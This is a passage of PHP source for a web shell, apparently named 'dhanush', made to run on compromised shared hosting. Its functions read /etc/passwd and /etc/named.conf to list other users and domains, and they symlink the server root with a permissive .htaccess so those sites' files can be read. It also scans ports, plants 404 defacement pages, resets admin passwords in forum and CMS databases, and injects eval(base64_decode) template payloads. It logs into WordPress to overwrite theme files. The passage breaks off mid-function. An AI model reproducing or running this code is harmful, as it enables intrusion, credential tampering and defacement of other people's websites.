  2598. $temp = trim($temp);
  2599.  
  2600. $file5 = fopen("test.txt","w");
  2601. fputs($file5,$temp);
  2602. fclose($file5);
  2603.  
  2604.  
  2605. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2606. while(!feof($file))
  2607. {
  2608. $s = fgets($file);
  2609. $matches = array();
  2610. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2611. $matches = str_replace("home/","",$matches[1]);
  2612. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2613. continue;
  2614. syml($matches,$matches);
  2615. }
  2616. fclose($file);
  2617. echo "</table>";
  2618. unlink("test.txt");
  2619. echo "<center><font class=txt size=3>[ Done ]</font></center>";
  2620. echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  2621. }
  2622. }
  2623. }
  2624. else
  2625. echo "<center>Cannot Complete the task!!!!</center>";
  2626.  
  2627. }
  2628. else if(isset($_GET["symlinkfile"]))
  2629. {
  2630. if(!isset($_GET['file']))
  2631. {
  2632. ?>
  2633. <center>
  2634. <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
  2635. <input type="text" class="box" name="file" size="50" value="/etc/passwd">
  2636. <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
  2637. </form></center>
  2638. <br><br>
  2639. <?php
  2640. }
  2641. }
  2642. else if(isset($_GET['symlinkmyfile']))
  2643. {
  2644. if($os == "Linux")
  2645. {
  2646. $fakedir="cx";
  2647. $fakedep=16;
  2648.  
  2649. $num=0; // offset of symlink.$num
  2650.  
  2651. if(!empty($_GET['myfile']))
  2652. $file=$_GET['myfile'];
  2653. else $file="";
  2654.  
  2655. if(empty($file))
  2656. exit;
  2657.  
  2658. if(!is_writable("."))
  2659. echo "not writable directory";
  2660.  
  2661. $level=0;
  2662.  
  2663. for($as=0;$as<$fakedep;$as++)
  2664. {
  2665. if(!file_exists($fakedir))
  2666. mkdir($fakedir);
  2667. chdir($fakedir);
  2668. }
  2669.  
  2670. while(1<$as--) chdir("..");
  2671.  
  2672. $hardstyle = explode("/", $file);
  2673.  
  2674. for($a=0;$a<count($hardstyle);$a++)
  2675. {
  2676. if(!empty($hardstyle[$a]))
  2677. {
  2678. if(!file_exists($hardstyle[$a]))
  2679. mkdir($hardstyle[$a]);
  2680. chdir($hardstyle[$a]);
  2681. $as++;
  2682. }
  2683. }
  2684. $as++;
  2685. while($as--)
  2686. chdir("..");
  2687.  
  2688. @rmdir("fakesymlink");
  2689. @unlink("fakesymlink");
  2690.  
  2691. @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
  2692.  
  2693. while(1)
  2694. if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
  2695. else $num++;
  2696.  
  2697. @unlink("fakesymlink");
  2698. mkdir("fakesymlink");
  2699.  
  2700. echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
  2701. }
  2702. else
  2703. echo '<CENTER>Cannot Create Symlink</CENTER>';
  2704. }
  2705. else if(isset($_POST['cpaneluser']))
  2706. {
  2707. if(is_numeric($_POST['noofsubdomain']))
  2708. {
  2709. for($i=1;$i<=$_POST['noofsubdomain'];$i++)
  2710. {
  2711. $subDomain = randomt();
  2712. echo make_subdomain($subDomain,$_POST['cpaneluser'],$_POST['cpanelpass'],$_POST['subindex']);
  2713. }
  2714. }
  2715. else
  2716. echo "Insert number";
  2717. }
  2718. else if(isset($_REQUEST['404new']))
  2719. {
  2720. ?>
  2721. <form>
  2722. <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
  2723. <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
  2724. </br>
  2725. </form>
  2726. <?php
  2727. }
  2728. else if(isset($_REQUEST['404page']))
  2729. {
  2730. $url = $_SERVER['REQUEST_URI'];
  2731. $path=explode('/',$url);
  2732. $url =str_replace($path[count($path)-1],'',$url);
  2733. if(isset($_POST['message']))
  2734. {
  2735. if($myfile = fopen(".htaccess", "a"))
  2736. {
  2737. fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
  2738. if($myfilee = fopen("404.html", "w+"))
  2739. {
  2740. fwrite($myfilee, $_POST['message']);
  2741. }
  2742. echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
  2743. }
  2744. else
  2745. echo "<center>Cannot Set 404 Page</center>";
  2746. }
  2747. else if(strlen($ind) != 0)
  2748. {
  2749. if($myfile = fopen(".htaccess", "a"))
  2750. {
  2751. fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
  2752.  
  2753. if($myfilee = fopen("404.html", "w+"))
  2754. {
  2755. fwrite($myfilee, base64_decode($ind));
  2756.  
  2757. fclose($myfilee);
  2758. echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
  2759. }
  2760. fclose($myfile);
  2761. }
  2762. else
  2763. {
  2764. echo "<center>Cannot Set 404 Page</center>";
  2765. }
  2766. }
  2767. else
  2768. echo "<center>Nothing Specified in the shell</center>";
  2769. }
  2770. else if(isset($_GET["symlink"]))
  2771. {
  2772. $d0mains = @file("/etc/named.conf");
  2773. $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2774. $path=explode('/',$url);
  2775. $url =str_replace($path[count($path)-1],'',$url);
  2776. if($d0mains)
  2777. {
  2778. @mkdir("dhanush",0777);
  2779. @chdir("dhanush");
  2780. execmd("ln -s / root");
  2781.  
  2782. $file3 = 'Options all
  2783. DirectoryIndex Sux.html
  2784. AddType text/plain .php
  2785. AddHandler server-parsed .php
  2786. AddType text/plain .html
  2787. AddHandler txt .html
  2788. Require None
  2789. Satisfy Any
  2790. ';
  2791. $fp3 = fopen('.htaccess','w');
  2792. $fw3 = fwrite($fp3,$file3);
  2793. @fclose($fp3);
  2794.  
  2795. echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
  2796.  
  2797. $dcount = 1;
  2798. foreach($d0mains as $d0main)
  2799. {
  2800. if(eregi("zone",$d0main))
  2801. {
  2802. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2803. flush();
  2804.  
  2805. if(strlen(trim($domains[1][0])) > 2)
  2806. {
  2807. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2808.  
  2809. echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
  2810. $dcount++;
  2811. }
  2812. }
  2813.  
  2814. }
  2815. echo "</table>";
  2816. }
  2817. else
  2818. {
  2819. if($os == "Linux")
  2820. {
  2821. ?>
  2822. <div style="float:left;position:fixed;">
  2823. <form>
  2824. <table cellpadding="9">
  2825. <tr>
  2826. <th colspan="2">Get User Name</th>
  2827. </tr>
  2828. <tr>
  2829. <td>Enter Website Name :</td>
  2830. <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
  2831. </tr>
  2832. <tr>
  2833. <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
  2834. </tr>
  2835. <tr>
  2836. <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
  2837. </tr>
  2838. </table>
  2839. </form>
  2840. </div>
  2841. <?php
  2842. $TEST=@file('/etc/passwd');
  2843. if ($TEST)
  2844. {
  2845. @mkdir("dhanush",0777);
  2846. @chdir("dhanush");
  2847. execmd("ln -s /root");
  2848.  
  2849. $file3 = 'Options all
  2850. DirectoryIndex Sux.html
  2851. AddType text/plain .php
  2852. AddHandler server-parsed .php
  2853. AddType text/plain .html
  2854. AddHandler txt .html
  2855. Require None
  2856. Satisfy Any
  2857. ';
  2858. $fp3 = fopen('.htaccess','w');
  2859. $fw3 = fwrite($fp3,$file3);
  2860. @fclose($fp3);
  2861.  
  2862. echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
  2863.  
  2864.  
  2865. $dcount = 1;
  2866. $file = fopen("/etc/passwd", "r");
  2867. //Output a line of the file until the end is reached
  2868. while(!feof($file))
  2869. {
  2870. $s = fgets($file);
  2871. $matches = array();
  2872. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2873. $matches = str_replace("home/","",$matches[1]);
  2874. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2875. continue;
  2876. echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
  2877. echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2878. $dcount++;
  2879. }
  2880. fclose($file);
  2881.  
  2882. echo "</table>";
  2883. }
  2884. else
  2885. {
  2886. @mkdir("dhanush",0777);
  2887. @chdir("dhanush");
  2888. execmd("ln -s / root");
  2889. $file3 = 'Options all
  2890. DirectoryIndex Sux.html
  2891. AddType text/plain .php
  2892. AddHandler server-parsed .php
  2893. AddType text/plain .html
  2894. AddHandler txt .html
  2895. Require None
  2896. Satisfy Any
  2897. ';
  2898. $fp3 = fopen('.htaccess','w');
  2899. $fw3 = fwrite($fp3,$file3);
  2900. @fclose($fp3);
  2901.  
  2902. echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
  2903.  
  2904. $temp = "";
  2905. $val1 = 0;
  2906. $val2 = 1000;
  2907. for(;$val1 <= $val2;$val1++)
  2908. {
  2909. $uid = @posix_getpwuid($val1);
  2910. if ($uid)
  2911. $temp .= join(':',$uid)."\n";
  2912. }
  2913. echo '<br/>';
  2914. $temp = trim($temp);
  2915.  
  2916. $file5 = fopen("test.txt","w");
  2917. fputs($file5,$temp);
  2918. fclose($file5);
  2919.  
  2920. $dcount = 1;
  2921. $file = fopen("test.txt", "r");
  2922. while(!feof($file))
  2923. {
  2924. $s = fgets($file);
  2925. $matches = array();
  2926. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2927. $matches = str_replace("home/","",$matches[1]);
  2928. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2929. continue;
  2930. echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
  2931. echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2932. $dcount++;
  2933. }
  2934. fclose($file);
  2935. echo "</table>";
  2936. unlink("test.txt");
  2937. }
  2938. }
  2939. else
  2940. echo "<center><font size=4 >Cannot create Symlink</font></center>";
  2941. }
  2942. }
  2943. else if(isset($_GET['host']) && isset($_GET['protocol']))
  2944. {
  2945. echo "Open Ports: ";
  2946. $host = $_GET['host'];
  2947. $proto = $_GET['protocol'];
  2948. $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  2949. for($current = 0; $current <= 23; $current++)
  2950. {
  2951. $currents = $myports[$current];
  2952. $service = getservbyport($currents, $proto);
  2953. // Try to connect to port
  2954. $result = fsockopen($host, $currents, $errno, $errstr, 1);
  2955. // Show results
  2956. if($result)
  2957. echo "<font class=txt>$currents, </font>";
  2958. }
  2959. }
  2960. else if(isset($_REQUEST['forumpass']))
  2961. {
  2962. $localhost = $_GET['f1'];
  2963. $database = $_GET['f2'];
  2964. $username = $_GET['f3'];
  2965. $password = $_GET['f4'];
  2966. $prefix = $_GET['prefix'];
  2967. $newpass = $_GET['newpass'];
  2968. $uid = $_GET['uid'];
  2969.  
  2970. if($_GET['forums'] == "vb")
  2971. {
  2972. $newpass = $_GET['newipbpass'];
  2973. $uid = $_GET['ipbuid'];
  2974. $con = mysql_connect($localhost,$username,$password);
  2975. $db = mysql_select_db($database,$con);
  2976. $salt = "eghjghrtd";
  2977. $newpassword = md5(md5($newpass) . $salt);
  2978. if($prefix == "" || $prefix == null)
  2979. $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2980. else
  2981. $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2982. if($sql)
  2983. {
  2984. mysql_close($con);
  2985. echo "<font class=txt>Password Changed Successfully</font>";
  2986. }
  2987. else
  2988. echo "Cannot Change Password";
  2989. }
  2990. else if($_GET['forums'] == "mybb")
  2991. {
  2992. $newpass = $_GET['newipbpass'];
  2993. $uid = $_GET['ipbuid'];
  2994. $con = mysql_connect($localhost,$username,$password);
  2995. $db = mysql_select_db($database,$con);
  2996. $salt = "jeghj";
  2997. $newpassword = md5(md5($salt).md5($newpass));
  2998. if($prefix == "" || $prefix == null)
  2999. $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  3000. else
  3001. $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  3002. if($sql)
  3003. {
  3004. mysql_close($con);
  3005. echo "<font class=txt>Password Changed Successfully</font>";
  3006. }
  3007. else
  3008. echo "Cannot Change Password";
  3009. }
  3010. else if($_GET['forums'] == "smf")
  3011. {
  3012. $newpass = $_GET['newipbpass'];
  3013. $uid = $_GET['ipbuid'];
  3014. $con = mysql_connect($localhost,$username,$password);
  3015. $db = mysql_select_db($database,$con);
  3016.  
  3017. if($prefix == "" || $prefix == null)
  3018. {
  3019. $result = mysql_query("select member_name from smf_members where id_member = $uid");
  3020. $row = mysql_fetch_array($result);
  3021. $membername = $row['member_name'];
  3022. $newpassword = sha1(strtolower($membername).$newpass);
  3023. $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
  3024. }
  3025. else
  3026.  
  3027. {
  3028. $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
  3029. $row = mysql_fetch_array($result);
  3030. $membername = $row['member_name'];
  3031. $newpassword = sha1(strtolower($membername).$newpass);
  3032. $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
  3033. }
  3034. if($sql)
  3035. {
  3036. mysql_close($con);
  3037. echo "<font class=txt>Password Changed Successfully</font>";
  3038. }
  3039. else
  3040. echo "Cannot Change Password";
  3041. }
  3042. else if($_GET['forums'] == "phpbb")
  3043. {
  3044. $newpass = $_POST['newipbpass'];
  3045. $uid = $_POST['ipbuid'];
  3046. $con = mysql_connect($localhost,$username,$password);
  3047. $db = mysql_select_db($database,$con);
  3048.  
  3049. $newpassword = md5($newpass);
  3050. if(empty($prefix) || $prefix == null)
  3051. $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
  3052. else
  3053. $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
  3054. if($sql)
  3055. {
  3056. mysql_close($con);
  3057. echo "<font class=txt>Password Changed Successfully</font>";
  3058. }
  3059. else
  3060. echo "Cannot Change Password";
  3061. }
  3062. else if($_GET['forums'] == "ipb")
  3063. {
  3064. $newpass = $_POST['newipbpass'];
  3065. $uid = $_POST['ipbuid'];
  3066. $con = mysql_connect($localhost,$username,$password);
  3067. $db = mysql_select_db($database,$con);
  3068. $salt = "eghj";
  3069. $newpassword = md5(md5($salt).md5($newpass));
  3070. if($prefix == "" || $prefix == null)
  3071. $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  3072. else
  3073. $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  3074. if($sql)
  3075. {
  3076. mysql_close($con);
  3077. echo "<font class=txt>Password Changed Successfully</font>";
  3078. }
  3079. else
  3080. echo "Cannot Change Password";
  3081. }
  3082. else if($_GET['forums'] == "wp")
  3083. {
  3084. $uname = $_GET['uname'];
  3085. $con = mysql_connect($localhost,$username,$password);
  3086. $db = mysql_select_db($database,$con);
  3087.  
  3088. $newpassword = md5($newpass);
  3089. $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname'");
  3090. if($sql)
  3091. {
  3092. mysql_close($con);
  3093. echo "<font class=txt>Password Changed Successfully</font>";
  3094. }
  3095. else
  3096. echo "Cannot Change Password";
  3097. }
  3098. else if($_GET['forums'] == "joomla")
  3099. {
  3100. $newjoomlapass = $_GET['newjoomlapass'];
  3101. $joomlauname = $_GET['username'];
  3102. $con = mysql_connect($localhost,$username,$password);
  3103. $db = mysql_select_db($database,$con);
  3104.  
  3105. $newpassword = md5($newjoomlapass);
  3106. $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname'");
  3107. if($sql)
  3108. {
  3109. mysql_close($con);
  3110. echo "<font class=txt>Password Changed Successfully</font>";
  3111. }
  3112. else
  3113. echo "Cannot Change Password";
  3114. }
  3115. }
  3116. else if(isset($_POST['forumdeface']))
  3117. {
  3118. $localhost = $_POST['f1'];
  3119. $database = $_POST['f2'];
  3120. $username = $_POST['f3'];
  3121. $password = $_POST['f4'];
  3122. $index = $_POST['index'];
  3123. $prefix = $_POST['tableprefix'];
  3124.  
  3125. if($_POST['forumdeface'] == "vb")
  3126. {
  3127. $con =@ mysql_connect($localhost,$username,$password);
  3128. $db =@ mysql_select_db($database,$con);
  3129. $index=str_replace('"','\\"',$index);
  3130. $attack = "{\${eval(base64_decode(\'";
  3131. $attack .= base64_encode("echo \"$index\";");
  3132. $attack .= "\'))}}{\${exit()}}</textarea>";
  3133. if($prefix == "" || $prefix == null)
  3134. $query = "UPDATE template SET template = '$attack'";
  3135. else
  3136. $query = "UPDATE ".$prefix."template SET template = '$attack'";
  3137. $result =@ mysql_query($query,$con);
  3138. if($result)
  3139. echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
  3140. else
  3141. echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
  3142. }
  3143. else if($_POST['forumdeface'] == "mybb")
  3144. {
  3145. $con =@ mysql_connect($localhost,$username,$password);
  3146. $db =@ mysql_select_db($database,$con);
  3147. $attack = "{\${eval(base64_decode(\'";
  3148. $attack .= base64_encode("echo \"$index\";");
  3149. $attack .= "\'))}}{\${exit()}}</textarea>";
  3150. $attack = str_replace('"',"\\'",$attack);
  3151.  
  3152. if($prefix == "" || $prefix == null)
  3153. $query = "UPDATE mybb_templates SET template = '$attack'";
  3154. else
  3155. $query = "UPDATE ".$prefix."templates SET template = '$attack'";
  3156. $result =@ mysql_query($query,$con);
  3157. if($result)
  3158. echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
  3159. else
  3160. echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
  3161. }
  3162. else if($_POST['forumdeface'] == "smf")
  3163. {
  3164. $head = $_POST['head'];
  3165. $catid = $_POST['f5'];
  3166.  
  3167. $con =@ mysql_connect($localhost,$username,$password);
  3168. $db =@ mysql_select_db($database,$con);
  3169. if($prefix == "" || $prefix == null)
  3170. $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3171. else
  3172. $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3173. $result =@ mysql_query($query,$con);
  3174. if($result)
  3175. echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
  3176. else
  3177. echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
  3178. }
  3179. else if($_POST['forumdeface'] == "ipb")
  3180. {
  3181. $head = $_POST['head'];
  3182. $catid = $_POST['f5'];
  3183.  
  3184. $IPB = "forums";
  3185. $con =@ mysql_connect($localhost,$username,$password);
  3186. $db =@ mysql_select_db($database,$con);
  3187. if($prefix == "" || $prefix == null)
  3188. $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
  3189. else
  3190. $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
  3191. if($result)
  3192. echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
  3193. else
  3194.  
  3195. echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
  3196. }
  3197. else if($_POST['forumdeface'] == "wp")
  3198. {
  3199. $site_url = $_POST['siteurl'];
  3200. $index = urlencode($index);
  3201. $con =@ mysql_connect($localhost,$username,$password);
  3202. $db =@ mysql_select_db($database,$con);
  3203. $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
  3204. echo("<br>[+] Changing admin password to 123456789<br>");
  3205.  
  3206. if($req1)
  3207. {
  3208. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  3209. $data = mysql_fetch_array($req);
  3210. if(empty($site_url))
  3211. $site_url=$data["option_value"];
  3212. $output .= "Site : ".$site_url."<br>";
  3213.  
  3214. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
  3215. $data = mysql_fetch_array($req);
  3216. $template = $data["option_value"];
  3217.  
  3218. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
  3219. $data = mysql_fetch_array($req);
  3220. $current_theme = $data["option_value"];
  3221.  
  3222. $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
  3223. $url2=$site_url."/wp-login.php";
  3224.  
  3225. $ch = curl_init();
  3226. curl_setopt($ch, CURLOPT_URL, $url2);
  3227. curl_setopt($ch, CURLOPT_POST, 1);
  3228. curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
  3229. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3230. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  3231. curl_setopt($ch, CURLOPT_HEADER, 0);
  3232. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  3233. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3234. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  3235. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  3236. $buffer = curl_exec($ch);
  3237.  
  3238. $pos = strpos($buffer,"action=logout");
  3239. if($pos === false) {
  3240. $output.= "[-] Successful Login<br />";
  3241. } else {
  3242. $output.= "[+] Successful Login<br />";
  3243. }
  3244.  
  3245. $url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.urlencode($template);
  3246. curl_setopt($ch, CURLOPT_URL, $url2);
  3247. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  3248. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  3249. curl_setopt($ch, CURLOPT_HEADER, 0);
  3250. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3251. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  3252. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  3253. $buffer0 = curl_exec($ch);
  3254.  
  3255. $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  3256. $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  3257.  
  3258. if(substr_count($_file,"index.php") != 0)
  3259. {
  3260. $url2=$site_url."/wp-admin/theme-editor.php";
  3261. curl_setopt($ch, CURLOPT_URL, $url2);
  3262. curl_setopt($ch, CURLOPT_POST, 1);
  3263. curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
  3264. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3265. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3266. curl_setopt($ch, CURLOPT_HEADER, 0);
  3267. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3268. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  3269. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  3270. $buffer = curl_exec($ch);
  3271. curl_close($ch);
  3272.  
  3273. $pos = strpos($buffer,'<div id="message" class="updated">');
  3274. $cond = 0;
  3275. if($pos === false) {
  3276. $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3277. } else {
  3278. $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3279. $cond = 1;
  3280. }
  3281. }
  3282. else
  3283. {
  3284. $url2=$site_url.'/wp-admin/theme-editor.php?file=/themes/'.$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
  3285. curl_setopt($ch, CURLOPT_URL, $url2);
  3286. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  3287. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  3288. curl_setopt($ch, CURLOPT_HEADER, 0);
  3289. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3290. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  3291. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  3292. $buffer0 = curl_exec($ch);
  3293.  
  3294. $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  3295. $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  3296.  
  3297.  
  3298. $url2=$site_url."/wp-admin/theme-editor.php";
  3299. curl_setopt($ch, CURLOPT_URL, $url2);
  3300. curl_setopt($ch, CURLOPT_POST, 1);
  3301. curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
  3302. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3303. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3304. curl_setopt($ch, CURLOPT_HEADER, 0);
  3305. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3306. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  3307. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  3308. $buffer = curl_exec($ch);
  3309. curl_close($ch);
  3310.  
  3311. $pos = strpos($buffer,'<div id="message" class="updated">');
  3312. $cond = 0;
  3313. if($pos === false) {
  3314. $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3315. } else {
  3316. $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3317. $cond = 1;
  3318. }
  3319. }
  3320. } else {
  3321. $output.= "[-] DB Error<br />";
  3322. }
  3323. echo $output;
  3324. global $base_path;
  3325. unlink($base_path.'COOKIE.txt');
  3326. }
  3327. else if($_POST['forumdeface'] == "joomla")
  3328. {
  3329. $site_url = $_POST['siteurl'];
  3330. $dbprefix = $_POST['tableprefix'];
  3331. $dbname = $_POST['f2'];
  3332. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
  3333.  
  3334. $co=randomt();
  3335.  
  3336. $link=mysql_connect($localhost,$username,$password) ;
  3337. mysql_select_db($dbname,$link);
  3338.  
  3339. $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  3340.  
  3341. $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
  3342.  
  3343. if ( $req )
  3344. {
  3345. $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  3346. $data = mysql_fetch_array($req);
  3347. $template_name=$data["template"];
  3348.  
  3349. $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
  3350. $data = mysql_fetch_array($req);
  3351. $template_id=$data["extension_id"];
  3352.  
  3353. $url2=$site_url."/index.php";
  3354.  
  3355. $ch = curl_init();
  3356. curl_setopt($ch, CURLOPT_URL, $url2);
  3357. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3358. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
